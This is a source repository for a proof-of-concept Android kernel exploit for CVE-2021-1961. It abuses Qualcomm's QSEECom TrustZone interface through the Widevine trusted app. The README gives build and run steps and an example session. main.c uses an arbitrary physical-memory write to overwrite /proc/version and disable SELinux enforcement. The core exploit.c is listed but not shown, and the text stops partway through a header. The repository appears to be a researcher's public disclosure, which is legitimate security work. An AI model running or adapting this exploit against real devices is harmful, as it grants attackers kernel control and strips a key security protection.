├── .gitignore ├── jni ├── Application.mk ├── types.h ├── defs.h ├── kallsyms.h ├── Android.mk ├── ion.h ├── exploit.h ├── widevine.h ├── QSEEComAPI.h ├── QSEEComAPI_dummy.c ├── ion.c ├── main.c ├── linux_uapi │ ├── msm_ion.h │ └── ion.h ├── exploit.c ├── kallsyms.c └── widevine.c ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | /obj 2 | /libs 3 | -------------------------------------------------------------------------------- /jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_ABI := armeabi-v7a 2 | APP_PLATFORM := android-21 3 | -------------------------------------------------------------------------------- /jni/types.h: -------------------------------------------------------------------------------- 1 | #ifndef __TYPES_H__ 2 | #define __TYPES_H__ 3 | 4 | #include 5 | 6 | typedef uint64_t physaddr_t; 7 | 8 | #endif // __TYPES_H__ 9 | -------------------------------------------------------------------------------- /jni/defs.h: -------------------------------------------------------------------------------- 1 | #ifndef __DEFS_H__ 2 | #define __DEFS_H__ 3 | 4 | // The physical address where the kernel starts. This is true for blueline the 5 | // devices I tried (mostly Pixels) but I'm not sure if it's true for all 6 | // devices. 7 | #define KERNEL_PHYS_BASE (0x80080000) 8 | 9 | #endif // __DEFS_H__ 10 | -------------------------------------------------------------------------------- /jni/kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef __KALLSYMS_H__ 2 | #define __KALLSYMS_H__ 3 | 4 | #include 5 | 6 | #include "types.h" 7 | 8 | int kallsyms_find(void); 9 | 10 | // Returns the virtual address of `name`, or 0 if not found 11 | uint64_t kallsyms_lookup_name(const char *name); 12 | 13 | #endif // __KALLSYMS_H__ 14 | -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | LOCAL_MODULE := QSEEComAPI 5 | LOCAL_SRC_FILES := QSEEComAPI_dummy.c 6 | include $(BUILD_SHARED_LIBRARY) 7 | 8 | include $(CLEAR_VARS) 9 | LOCAL_MODULE := qseecom_exploit 10 | LOCAL_SRC_FILES := main.c widevine.c ion.c exploit.c kallsyms.c 11 | LOCAL_SHARED_LIBRARIES := QSEEComAPI 12 | include $(BUILD_EXECUTABLE) 13 | -------------------------------------------------------------------------------- /jni/ion.h: -------------------------------------------------------------------------------- 1 | #ifndef __ION_H__ 2 | #define __ION_H__ 3 | 4 | #include "linux_uapi/ion.h" 5 | 6 | typedef struct { 7 | int dev_fd; 8 | ion_user_handle_t handle; 9 | int fd; 10 | void *map; 11 | size_t size; 12 | } ion_data_t; 13 | 14 | // Allocate and map an ION mapping 15 | // Should be freed using ion_memfree 16 | int ion_memalloc(size_t size, int heap_id, ion_data_t *ion_data); 17 | 18 | void ion_memfree(ion_data_t *ion_data); 19 | 20 | #endif // __ION_H__ 21 | -------------------------------------------------------------------------------- /jni/exploit.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXPLOIT_H__ 2 | #define __EXPLOIT_H__ 3 | 4 | #include "types.h" 5 | 6 | // The maximum size of a single phys_read or phys_write 7 | #define EXPLOIT_BUFFER_SIZE (0x00800000) 8 | 9 | int exploit_setup(void); 10 | 11 | // Write data into a physical memory address 12 | int exploit_phys_write(physaddr_t addr, const void *data, size_t len); 13 | 14 | // Read data from a physical memory address 15 | int exploit_phys_read(void *buf, physaddr_t addr, size_t len); 16 | 17 | #endif // __EXPLOIT_H__ 18 | -------------------------------------------------------------------------------- /jni/widevine.h: -------------------------------------------------------------------------------- 1 | #ifndef __WIDEVINE_H__ 2 | #define __WIDEVINE_H__ 3 | 4 | #include "types.h" 5 | #include "QSEEComAPI.h" 6 | 7 | // Setup everything needed for widevine to be able to encrypt and decrypt data 8 | int widevine_setup(void); 9 | 10 | // For both encrypt and decrypt, addresses can be overwritten by fd_info if it 11 | // points to one of the following offsets: 12 | #define WIDEVINE_CMD_IN_OFFSET (0x8) 13 | #define WIDEVINE_CMD_OUT_OFFSET (0x28) 14 | // Each operation (encrypt or decrypt) must be aligned to the size of an AES 15 | // block 16 | #define WIDEVINE_LEN_ALIGN (0x10) 17 | 18 | int widevine_send_encrypt(physaddr_t in_addr, physaddr_t out_addr, 19 | uint32_t len, struct QSEECom_ion_fd_info *fd_info); 20 | 21 | int widevine_send_decrypt(physaddr_t in_addr, physaddr_t out_addr, 22 | uint32_t len, struct QSEECom_ion_fd_info *fd_info); 23 | 24 | // Get the QSEECom handle to the widevine app 25 | struct QSEECom_handle *widevine_get_handle(void); 26 | 27 | #endif // __WIDEVINE_H__ 28 | 29 | -------------------------------------------------------------------------------- /jni/QSEEComAPI.h: -------------------------------------------------------------------------------- 1 | #ifndef __QSEECOMAPI_H__ 2 | #define __QSEECOMAPI_H__ 3 | 4 | #include 5 | 6 | struct QSEECom_handle; 7 | 8 | struct QSEECom_ion_fd_data { 9 | int32_t fd; 10 | uint32_t cmd_buf_offset; 11 | }; 12 | 13 | struct QSEECom_ion_fd_info { 14 | struct QSEECom_ion_fd_data data[4]; 15 | }; 16 | 17 | int QSEECom_start_app(struct QSEECom_handle **clnt_handle, const char *path, 18 | const char *fname, uint32_t sb_size); 19 | 20 | int QSEECom_shutdown_app(struct QSEECom_handle **handle); 21 | 22 | int QSEECom_send_cmd(struct QSEECom_handle *handle, void *send_buf, 23 | uint32_t sbuf_len, void *rcv_buf, uint32_t rbuf_len); 24 | 25 | int QSEECom_send_modified_cmd(struct QSEECom_handle *handle, void *send_buf, 26 | uint32_t sbuf_len, void *resp_buf, 27 | uint32_t rbuf_len, 28 | struct QSEECom_ion_fd_info *ifd_data); 29 | 30 | int QSEECom_send_modified_cmd_64(struct QSEECom_handle *handle, void *send_buf, 31 | uint32_t sbuf_len, void *resp_buf, 32 | uint32_t rbuf_len, 33 | struct QSEECom_ion_fd_info *ifd_data); 34 | 35 | #endif // __QSEECOMAPI_H__ 36 | -------------------------------------------------------------------------------- /jni/QSEEComAPI_dummy.c: -------------------------------------------------------------------------------- 1 | // This is a dummy of the libQSEEComAPI functions used in the exploit. This is 2 | // needed so eventually the exploit binary will be dynamically linked with the 3 | // real libQSEEComAPI. 4 | 5 | #include "QSEEComAPI.h" 6 | 7 | int QSEECom_start_app(struct QSEECom_handle **clnt_handle, const char *path, 8 | const char *fname, uint32_t sb_size) 9 | { 10 | return 0; 11 | } 12 | 13 | int QSEECom_shutdown_app(struct QSEECom_handle **handle) 14 | { 15 | return 0; 16 | } 17 | 18 | int QSEECom_send_cmd(struct QSEECom_handle *handle, void *send_buf, 19 | uint32_t sbuf_len, void *rcv_buf, uint32_t rbuf_len) 20 | { 21 | return 0; 22 | } 23 | 24 | int QSEECom_send_modified_cmd(struct QSEECom_handle *handle, void *send_buf, 25 | uint32_t sbuf_len, void *resp_buf, 26 | uint32_t rbuf_len, 27 | struct QSEECom_ion_fd_info *ifd_data) 28 | { 29 | return 0; 30 | } 31 | 32 | int QSEECom_send_modified_cmd_64(struct QSEECom_handle *handle, void *send_buf, 33 | uint32_t sbuf_len, void *resp_buf, 34 | uint32_t rbuf_len, 35 | struct QSEECom_ion_fd_info *ifd_data) 36 | { 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Exploit code for CVE-2021-1961. Full write-up is available 2 | [on my blog](https://tamirzb.com/attacking-android-kernel-using-qualcomm-trustzone). 3 | 4 | In order to build the exploit, run Android NDK's `ndk-build`. 5 | 6 | In order to run the exploit, you need to have access to `/dev/qseecom`, which 7 | means having the right user/group and the right SELinux context. This can be 8 | done either on a debug image using the command `su system`, or on a stock image 9 | patched with [Magisk](https://github.com/topjohnwu/Magisk) using the command 10 | `su - system`. 11 | 12 | Here is an example of running the exploit on a stock image patched with Magisk: 13 | 14 | ```bash 15 | $ adb push qseecom_exploit /data/local/tmp 16 | $ adb shell 17 | blueline:/ $ cd /data/local/tmp 18 | blueline:/data/local/tmp $ su - system 19 | blueline:/data/local/tmp $ id 20 | uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0 21 | blueline:/data/local/tmp $ getenforce 22 | Enforcing 23 | blueline:/data/local/tmp $ ./qseecom_exploit 24 | [+] Setup widevine 25 | [+] Got a 32 bit addresses ION 26 | [+] Setup exploit kernel r/w 27 | [+] Found kallsyms_token_table marker 28 | [+] Found all kallsyms data 29 | [+] Kernel virtual base address: 0xffffff9b9b080000 30 | [+] Modified /proc/version 31 | [+] Disabled SELinux 32 | blueline:/data/local/tmp $ cat /proc/version 33 | *modified* 34 | blueline:/data/local/tmp $ getenforce 35 | Permissive 36 | ``` 37 | -------------------------------------------------------------------------------- /jni/ion.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "linux_uapi/ion.h" 9 | #include "linux_uapi/msm_ion.h" 10 | #include "ion.h" 11 | 12 | int ion_memalloc(size_t size, int heap_id, ion_data_t *ion_data) 13 | { 14 | struct ion_allocation_data alloc_data = { .align = 0x1000, .len = size, 15 | .heap_id_mask = ION_HEAP(heap_id), .flags = 0, .handle = 0 }; 16 | struct ion_fd_data fd_data = {0}; 17 | 18 | ion_data->dev_fd = -1; 19 | ion_data->handle = 0; 20 | ion_data->fd = -1; 21 | ion_data->map = MAP_FAILED; 22 | ion_data->size = size; 23 | 24 | ion_data->dev_fd = open("/dev/ion", O_RDONLY); 25 | if (-1 == ion_data->dev_fd) { 26 | perror("[-] Failed to open /dev/ion"); 27 | return 0; 28 | } 29 | 30 | if (0 != ioctl(ion_data->dev_fd, ION_IOC_ALLOC, &alloc_data)) { 31 | perror("[-] Failed to allocate ION buffer"); 32 | goto err; 33 | } 34 | ion_data->handle = alloc_data.handle; 35 | 36 | fd_data.handle = alloc_data.handle; 37 | if (0 != ioctl(ion_data->dev_fd, ION_IOC_MAP, &fd_data)) { 38 | perror("[-] Failed to create ION map"); 39 | goto err; 40 | } 41 | ion_data->fd = fd_data.fd; 42 | 43 | ion_data->map = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, 44 | ion_data->fd, 0); 45 | if (MAP_FAILED == ion_data->map) { 46 | perror("[-] Failed to mmap ION buffer"); 47 | goto err; 48 | } 49 | 50 | return 1; 51 | 52 | err: 53 | ion_memfree(ion_data); 54 | return 0; 55 | } 56 | 57 | void ion_memfree(ion_data_t *ion_data) 58 | { 59 | struct ion_handle_data handle_data = { .handle = ion_data->handle }; 60 | 61 | if (MAP_FAILED != ion_data->map) { 62 | munmap(ion_data->map, ion_data->size); 63 | ion_data->map = MAP_FAILED; 64 | } 65 | 66 | if (-1 != ion_data->fd) { 67 | close(ion_data->fd); 68 | ion_data->fd = -1; 69 | } 70 | 71 | if (0 != ion_data->handle) { 72 | ioctl(ion_data->dev_fd, ION_IOC_FREE, &handle_data); 73 | ion_data->handle = 0; 74 | } 75 | 76 | if (-1 != ion_data->dev_fd) { 77 | close(ion_data->dev_fd); 78 | ion_data->dev_fd = -1; 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /jni/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "defs.h" 8 | #include "types.h" 9 | #include "widevine.h" 10 | #include "exploit.h" 11 | #include "kallsyms.h" 12 | 13 | #define SELINUX_STATE_ENFORCING_OFF (1) 14 | 15 | static uint64_t g_kernel_virt_base; 16 | 17 | // Not a very original function name but ¯\_(ツ)_/¯ 18 | static inline physaddr_t virt_to_phys(uint64_t virt_addr) 19 | { 20 | return (virt_addr - g_kernel_virt_base) + KERNEL_PHYS_BASE; 21 | } 22 | 23 | static int disable_selinux(void) 24 | { 25 | // Should be a parameter in a selinux_state struct 26 | uint64_t selinux_enforcing_virt = 27 | kallsyms_lookup_name("selinux_state"); 28 | if (0 == selinux_enforcing_virt) { 29 | // Could also be saved in a selinux_enforcing variable 30 | selinux_enforcing_virt = kallsyms_lookup_name("selinux_enforcing"); 31 | if (0 == selinux_enforcing_virt) { 32 | return 0; 33 | } 34 | } else { 35 | selinux_enforcing_virt += SELINUX_STATE_ENFORCING_OFF; 36 | } 37 | physaddr_t selinux_enforcing_phys = virt_to_phys(selinux_enforcing_virt); 38 | 39 | // On some very rare occasions, modifying selinux_enforcing doesn't stick 40 | // (i.e. doesn't stay disabled), so let's make sure it does by trying 41 | // multiple times. I guess it has to do with caching. 42 | for (size_t i = 0; ; i++) { 43 | uint8_t selinux_enforcing_buf[WIDEVINE_LEN_ALIGN] = {0}; 44 | if (0 == exploit_phys_read(selinux_enforcing_buf, 45 | selinux_enforcing_phys, 46 | sizeof(selinux_enforcing_buf))) { 47 | return 0; 48 | } 49 | 50 | uint8_t *selinux_enforcing = (uint8_t *)selinux_enforcing_buf; 51 | if (0 == *selinux_enforcing) { 52 | if (0 == i) { 53 | fprintf(stderr, "[+] SELinux was already disabled\n"); 54 | } else if (1 == i) { 55 | fprintf(stderr, "[+] Disabled SELinux\n"); 56 | } else { 57 | fprintf(stderr, "[+] Disabled SELinux after %zu attempts\n", 58 | i); 59 | } 60 | return 1; 61 | } else if (10 == i) { 62 | fprintf(stderr, 63 | "[-] Failed to disable SELinux after 10 attempts\n"); 64 | return 0; 65 | } 66 | 67 | *selinux_enforcing = 0; 68 | if (0 == exploit_phys_write(selinux_enforcing_phys, 69 | selinux_enforcing_buf, 70 | sizeof(selinux_enforcing_buf))) { 71 | return 0; 72 | } 73 | 74 | // Give it some time before we check whether selinux_enforcing was 75 | // actually modified or not 76 | sleep(1); 77 | } 78 | } 79 | 80 | int main(void) 81 | { 82 | int result = 1; 83 | 84 | if (0 == widevine_setup()) { 85 | fprintf(stderr, "[-] Failed to setup widevine\n"); 86 | goto cleanup; 87 | } 88 | fprintf(stderr, "[+] Setup widevine\n"); 89 | 90 | if (0 == exploit_setup()) { 91 | fprintf(stderr, "[-] Exploit setup failed\n"); 92 | goto cleanup; 93 | } 94 | fprintf(stderr, "[+] Setup exploit kernel r/w\n"); 95 | 96 | if (0 == kallsyms_find()) { 97 | fprintf(stderr, "[-] Failed to find kallsyms\n"); 98 | goto cleanup; 99 | } 100 | fprintf(stderr, "[+] Found all kallsyms data\n"); 101 | 102 | // Get the kernel virtual base address to be able to calculate the physical 103 | // adresses of virtual addresses 104 | g_kernel_virt_base = kallsyms_lookup_name("_head"); 105 | if (0 == g_kernel_virt_base) { 106 | goto cleanup; 107 | } 108 | fprintf(stderr, "[+] Kernel virtual base address: 0x%16" PRIx64 "\n", 109 | g_kernel_virt_base); 110 | 111 | // At this point we have full control of the kernel, we can modify the data 112 | // behind every symbol as we wish 113 | 114 | // For example, we can modify /proc/version by modifying linux_proc_banner 115 | uint64_t linux_proc_banner_virt = 116 | kallsyms_lookup_name("linux_proc_banner"); 117 | if (0 == linux_proc_banner_virt) { 118 | goto cleanup; 119 | } 120 | // This has to be aligned to WIDEVINE_LEN_ALIGN 121 | char new_proc_version[WIDEVINE_LEN_ALIGN] = {0}; 122 | strcpy(new_proc_version, "*modified*\n"); 123 | if (0 == exploit_phys_write(virt_to_phys(linux_proc_banner_virt), 124 | new_proc_version, sizeof(new_proc_version))) { 125 | fprintf(stderr, "[-] Failed to modify /proc/version\n"); 126 | goto cleanup; 127 | } 128 | fprintf(stderr, "[+] Modified /proc/version\n"); 129 | 130 | // And to demonstrate something more serious, we can disable SELinux 131 | if (0 != disable_selinux()) { 132 | result = 0; 133 | } 134 | 135 | cleanup: 136 | fflush(stderr); 137 | return result; 138 | } 139 | -------------------------------------------------------------------------------- /jni/linux_uapi/msm_ion.h: -------------------------------------------------------------------------------- 1 | #ifndef _UAPI_MSM_ION_H 2 | #define _UAPI_MSM_ION_H 3 | 4 | #include "ion.h" 5 | 6 | #define ION_BIT(nr) (1UL << (nr)) 7 | 8 | enum msm_ion_heap_types { 9 | ION_HEAP_TYPE_MSM_START = ION_HEAP_TYPE_CUSTOM + 1, 10 | ION_HEAP_TYPE_SECURE_DMA = ION_HEAP_TYPE_MSM_START, 11 | ION_HEAP_TYPE_SYSTEM_SECURE, 12 | ION_HEAP_TYPE_HYP_CMA, 13 | ION_HEAP_TYPE_SECURE_CARVEOUT, 14 | /* 15 | * if you add a heap type here you should also add it to 16 | * heap_types_info[] in msm_ion.c 17 | */ 18 | }; 19 | 20 | /** 21 | * These are the only ids that should be used for Ion heap ids. 22 | * The ids listed are the order in which allocation will be attempted 23 | * if specified. Don't swap the order of heap ids unless you know what 24 | * you are doing! 25 | * Id's are spaced by purpose to allow new Id's to be inserted in-between (for 26 | * possible fallbacks) 27 | */ 28 | 29 | enum ion_heap_ids { 30 | INVALID_HEAP_ID = -1, 31 | ION_CP_MM_HEAP_ID = 8, 32 | ION_SECURE_HEAP_ID = 9, 33 | ION_SECURE_DISPLAY_HEAP_ID = 10, 34 | ION_CP_MFC_HEAP_ID = 12, 35 | ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */ 36 | ION_SECURE_CARVEOUT_HEAP_ID = 14, 37 | ION_CP_WB_HEAP_ID = 16, /* 8660 only */ 38 | ION_QSECOM_TA_HEAP_ID = 19, 39 | ION_CAMERA_HEAP_ID = 20, /* 8660 only */ 40 | ION_SYSTEM_CONTIG_HEAP_ID = 21, 41 | ION_ADSP_HEAP_ID = 22, 42 | ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */ 43 | ION_SF_HEAP_ID = 24, 44 | ION_SYSTEM_HEAP_ID = 25, 45 | ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */ 46 | ION_QSECOM_HEAP_ID = 27, 47 | ION_AUDIO_HEAP_ID = 28, 48 | 49 | ION_MM_FIRMWARE_HEAP_ID = 29, 50 | ION_GOOGLE_HEAP_ID = 30, 51 | 52 | ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */ 53 | }; 54 | 55 | /* 56 | * The IOMMU heap is deprecated! Here are some aliases for backwards 57 | * compatibility: 58 | */ 59 | #define ION_IOMMU_HEAP_ID ION_SYSTEM_HEAP_ID 60 | #define ION_HEAP_TYPE_IOMMU ION_HEAP_TYPE_SYSTEM 61 | 62 | #define ION_SPSS_HEAP_ID ION_SPSS_HEAP_ID 63 | 64 | enum ion_fixed_position { 65 | NOT_FIXED, 66 | FIXED_LOW, 67 | FIXED_MIDDLE, 68 | FIXED_HIGH, 69 | }; 70 | 71 | enum cp_mem_usage { 72 | VIDEO_BITSTREAM = 0x1, 73 | VIDEO_PIXEL = 0x2, 74 | VIDEO_NONPIXEL = 0x3, 75 | DISPLAY_SECURE_CP_USAGE = 0x4, 76 | CAMERA_SECURE_CP_USAGE = 0x5, 77 | MAX_USAGE = 0x6, 78 | UNKNOWN = 0x7FFFFFFF, 79 | }; 80 | 81 | /** 82 | * Flags to be used when allocating from the secure heap for 83 | * content protection 84 | */ 85 | #define ION_FLAG_CP_TOUCH ION_BIT(17) 86 | #define ION_FLAG_CP_BITSTREAM ION_BIT(18) 87 | #define ION_FLAG_CP_PIXEL ION_BIT(19) 88 | #define ION_FLAG_CP_NON_PIXEL ION_BIT(20) 89 | #define ION_FLAG_CP_CAMERA ION_BIT(21) 90 | #define ION_FLAG_CP_HLOS ION_BIT(22) 91 | #define ION_FLAG_CP_SPSS_SP ION_BIT(23) 92 | #define ION_FLAG_CP_SPSS_SP_SHARED ION_BIT(24) 93 | #define ION_FLAG_CP_SEC_DISPLAY ION_BIT(25) 94 | #define ION_FLAG_CP_APP ION_BIT(26) 95 | #define ION_FLAG_CP_CAMERA_PREVIEW ION_BIT(27) 96 | /* ION_FLAG_ALLOW_NON_CONTIG uses ION_BIT(28) */ 97 | #define ION_FLAG_CP_CDSP ION_BIT(29) 98 | #define ION_FLAG_CP_SPSS_HLOS_SHARED ION_BIT(30) 99 | 100 | /** 101 | * Flag to allow non continguous allocation of memory from secure 102 | * heap 103 | */ 104 | #define ION_FLAG_ALLOW_NON_CONTIG ION_BIT(28) 105 | 106 | /** 107 | * Flag to use when allocating to indicate that a heap is secure. 108 | * Do NOT use BIT macro since it is defined in #ifdef __KERNEL__ 109 | */ 110 | #define ION_FLAG_SECURE ION_BIT(ION_HEAP_ID_RESERVED) 111 | 112 | /* 113 | * Used in conjunction with heap which pool memory to force an allocation 114 | * to come from the page allocator directly instead of from the pool allocation 115 | */ 116 | #define ION_FLAG_POOL_FORCE_ALLOC ION_BIT(16) 117 | 118 | /** 119 | * Deprecated! Please use the corresponding ION_FLAG_* 120 | */ 121 | #define ION_SECURE ION_FLAG_SECURE 122 | 123 | /** 124 | * Macro should be used with ion_heap_ids defined above. 125 | */ 126 | #define ION_HEAP(bit) ION_BIT(bit) 127 | 128 | #define ION_ADSP_HEAP_NAME "adsp" 129 | #define ION_SYSTEM_HEAP_NAME "system" 130 | #define ION_VMALLOC_HEAP_NAME ION_SYSTEM_HEAP_NAME 131 | #define ION_KMALLOC_HEAP_NAME "kmalloc" 132 | #define ION_AUDIO_HEAP_NAME "audio" 133 | #define ION_SF_HEAP_NAME "sf" 134 | #define ION_MM_HEAP_NAME "mm" 135 | #define ION_CAMERA_HEAP_NAME "camera_preview" 136 | #define ION_IOMMU_HEAP_NAME "iommu" 137 | #define ION_MFC_HEAP_NAME "mfc" 138 | #define ION_SPSS_HEAP_NAME "spss" 139 | #define ION_SECURE_CARVEOUT_HEAP_NAME "secure_carveout" 140 | #define ION_WB_HEAP_NAME "wb" 141 | #define ION_MM_FIRMWARE_HEAP_NAME "mm_fw" 142 | #define ION_GOOGLE_HEAP_NAME "easel_mem" 143 | #define ION_PIL1_HEAP_NAME "pil_1" 144 | #define ION_PIL2_HEAP_NAME "pil_2" 145 | #define ION_QSECOM_HEAP_NAME "qsecom" 146 | #define ION_QSECOM_TA_HEAP_NAME "qsecom_ta" 147 | #define ION_SECURE_HEAP_NAME "secure_heap" 148 | #define ION_SECURE_DISPLAY_HEAP_NAME "secure_display" 149 | 150 | #define ION_SET_CACHED(__cache) ((__cache) | ION_FLAG_CACHED) 151 | #define ION_SET_UNCACHED(__cache) ((__cache) & ~ION_FLAG_CACHED) 152 | 153 | #define ION_IS_CACHED(__flags) ((__flags) & ION_FLAG_CACHED) 154 | 155 | /* struct ion_flush_data - data passed to ion for flushing caches 156 | * 157 | * @handle: handle with data to flush 158 | * @fd: fd to flush 159 | * @vaddr: userspace virtual address mapped with mmap 160 | * @offset: offset into the handle to flush 161 | * @length: length of handle to flush 162 | * 163 | * Performs cache operations on the handle. If p is the start address 164 | * of the handle, p + offset through p + offset + length will have 165 | * the cache operations performed 166 | */ 167 | struct ion_flush_data { 168 | ion_user_handle_t handle; 169 | int fd; 170 | void *vaddr; 171 | unsigned int offset; 172 | unsigned int length; 173 | }; 174 | 175 | struct ion_prefetch_regions { 176 | unsigned int vmid; 177 | size_t __user *sizes; 178 | unsigned int nr_sizes; 179 | }; 180 | 181 | struct ion_prefetch_data { 182 | int heap_id; 183 | unsigned long len; 184 | struct ion_prefetch_regions __user *regions; 185 | unsigned int nr_regions; 186 | }; 187 | 188 | #define ION_IOC_MSM_MAGIC 'M' 189 | 190 | /** 191 | * DOC: ION_IOC_CLEAN_CACHES - clean the caches 192 | * 193 | * Clean the caches of the handle specified. 194 | */ 195 | #define ION_IOC_CLEAN_CACHES _IOWR(ION_IOC_MSM_MAGIC, 0, \ 196 | struct ion_flush_data) 197 | /** 198 | * DOC: ION_IOC_INV_CACHES - invalidate the caches 199 | * 200 | * Invalidate the caches of the handle specified. 201 | */ 202 | #define ION_IOC_INV_CACHES _IOWR(ION_IOC_MSM_MAGIC, 1, \ 203 | struct ion_flush_data) 204 | /** 205 | * DOC: ION_IOC_CLEAN_INV_CACHES - clean and invalidate the caches 206 | * 207 | * Clean and invalidate the caches of the handle specified. 208 | */ 209 | #define ION_IOC_CLEAN_INV_CACHES _IOWR(ION_IOC_MSM_MAGIC, 2, \ 210 | struct ion_flush_data) 211 | 212 | #define ION_IOC_PREFETCH _IOWR(ION_IOC_MSM_MAGIC, 3, \ 213 | struct ion_prefetch_data) 214 | 215 | #define ION_IOC_DRAIN _IOWR(ION_IOC_MSM_MAGIC, 4, \ 216 | struct ion_prefetch_data) 217 | 218 | #endif 219 | -------------------------------------------------------------------------------- /jni/linux_uapi/ion.h: -------------------------------------------------------------------------------- 1 | /* 2 | * drivers/staging/android/uapi/ion.h 3 | * 4 | * Copyright (C) 2011 Google, Inc. 5 | * 6 | * This software is licensed under the terms of the GNU General Public 7 | * License version 2, as published by the Free Software Foundation, and 8 | * may be copied, distributed, and modified under those terms. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | */ 16 | 17 | #ifndef _UAPI_LINUX_ION_H 18 | #define _UAPI_LINUX_ION_H 19 | 20 | #include 21 | 22 | typedef int ion_user_handle_t; 23 | 24 | /** 25 | * enum ion_heap_types - list of all possible types of heaps 26 | * @ION_HEAP_TYPE_SYSTEM: memory allocated via vmalloc 27 | * @ION_HEAP_TYPE_SYSTEM_CONTIG: memory allocated via kmalloc 28 | * @ION_HEAP_TYPE_CARVEOUT: memory allocated from a prereserved 29 | * carveout heap, allocations are physically 30 | * contiguous 31 | * @ION_HEAP_TYPE_DMA: memory allocated via DMA API 32 | * @ION_NUM_HEAPS: helper for iterating over heaps, a bit mask 33 | * is used to identify the heaps, so only 32 34 | * total heap types are supported 35 | */ 36 | enum ion_heap_type { 37 | ION_HEAP_TYPE_SYSTEM, 38 | ION_HEAP_TYPE_SYSTEM_CONTIG, 39 | ION_HEAP_TYPE_CARVEOUT, 40 | ION_HEAP_TYPE_CHUNK, 41 | ION_HEAP_TYPE_DMA, 42 | ION_HEAP_TYPE_CUSTOM, /* 43 | * must be last so device specific heaps always 44 | * are at the end of this enum 45 | */ 46 | ION_NUM_HEAPS = 16, 47 | }; 48 | 49 | #define ION_HEAP_SYSTEM_MASK ((1 << ION_HEAP_TYPE_SYSTEM)) 50 | #define ION_HEAP_SYSTEM_CONTIG_MASK ((1 << ION_HEAP_TYPE_SYSTEM_CONTIG)) 51 | #define ION_HEAP_CARVEOUT_MASK ((1 << ION_HEAP_TYPE_CARVEOUT)) 52 | #define ION_HEAP_TYPE_DMA_MASK ((1 << ION_HEAP_TYPE_DMA)) 53 | 54 | #define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8) 55 | 56 | /** 57 | * allocation flags - the lower 16 bits are used by core ion, the upper 16 58 | * bits are reserved for use by the heaps themselves. 59 | */ 60 | #define ION_FLAG_CACHED 1 /* 61 | * mappings of this buffer should be 62 | * cached, ion will do cache 63 | * maintenance when the buffer is 64 | * mapped for dma 65 | */ 66 | #define ION_FLAG_CACHED_NEEDS_SYNC 2 /* 67 | * mappings of this buffer will created 68 | * at mmap time, if this is set 69 | * caches must be managed 70 | * manually 71 | */ 72 | 73 | /** 74 | * DOC: Ion Userspace API 75 | * 76 | * create a client by opening /dev/ion 77 | * most operations handled via following ioctls 78 | * 79 | */ 80 | 81 | /** 82 | * struct ion_allocation_data - metadata passed from userspace for allocations 83 | * @len: size of the allocation 84 | * @align: required alignment of the allocation 85 | * @heap_id_mask: mask of heap ids to allocate from 86 | * @flags: flags passed to heap 87 | * @handle: pointer that will be populated with a cookie to use to 88 | * refer to this allocation 89 | * 90 | * Provided by userspace as an argument to the ioctl 91 | */ 92 | struct ion_allocation_data { 93 | size_t len; 94 | size_t align; 95 | unsigned int heap_id_mask; 96 | unsigned int flags; 97 | ion_user_handle_t handle; 98 | }; 99 | 100 | /** 101 | * struct ion_fd_data - metadata passed to/from userspace for a handle/fd pair 102 | * @handle: a handle 103 | * @fd: a file descriptor representing that handle 104 | * 105 | * For ION_IOC_SHARE or ION_IOC_MAP userspace populates the handle field with 106 | * the handle returned from ion alloc, and the kernel returns the file 107 | * descriptor to share or map in the fd field. For ION_IOC_IMPORT, userspace 108 | * provides the file descriptor and the kernel returns the handle. 109 | */ 110 | struct ion_fd_data { 111 | ion_user_handle_t handle; 112 | int fd; 113 | }; 114 | 115 | /** 116 | * struct ion_handle_data - a handle passed to/from the kernel 117 | * @handle: a handle 118 | */ 119 | struct ion_handle_data { 120 | ion_user_handle_t handle; 121 | }; 122 | 123 | /** 124 | * struct ion_custom_data - metadata passed to/from userspace for a custom ioctl 125 | * @cmd: the custom ioctl function to call 126 | * @arg: additional data to pass to the custom ioctl, typically a user 127 | * pointer to a predefined structure 128 | * 129 | * This works just like the regular cmd and arg fields of an ioctl. 130 | */ 131 | struct ion_custom_data { 132 | unsigned int cmd; 133 | unsigned long arg; 134 | }; 135 | 136 | #define ION_IOC_MAGIC 'I' 137 | 138 | /** 139 | * DOC: ION_IOC_ALLOC - allocate memory 140 | * 141 | * Takes an ion_allocation_data struct and returns it with the handle field 142 | * populated with the opaque handle for the allocation. 143 | */ 144 | #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ 145 | struct ion_allocation_data) 146 | 147 | /** 148 | * DOC: ION_IOC_FREE - free memory 149 | * 150 | * Takes an ion_handle_data struct and frees the handle. 151 | */ 152 | #define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) 153 | 154 | /** 155 | * DOC: ION_IOC_MAP - get a file descriptor to mmap 156 | * 157 | * Takes an ion_fd_data struct with the handle field populated with a valid 158 | * opaque handle. Returns the struct with the fd field set to a file 159 | * descriptor open in the current address space. This file descriptor 160 | * can then be used as an argument to mmap. 161 | */ 162 | #define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) 163 | 164 | /** 165 | * DOC: ION_IOC_SHARE - creates a file descriptor to use to share an allocation 166 | * 167 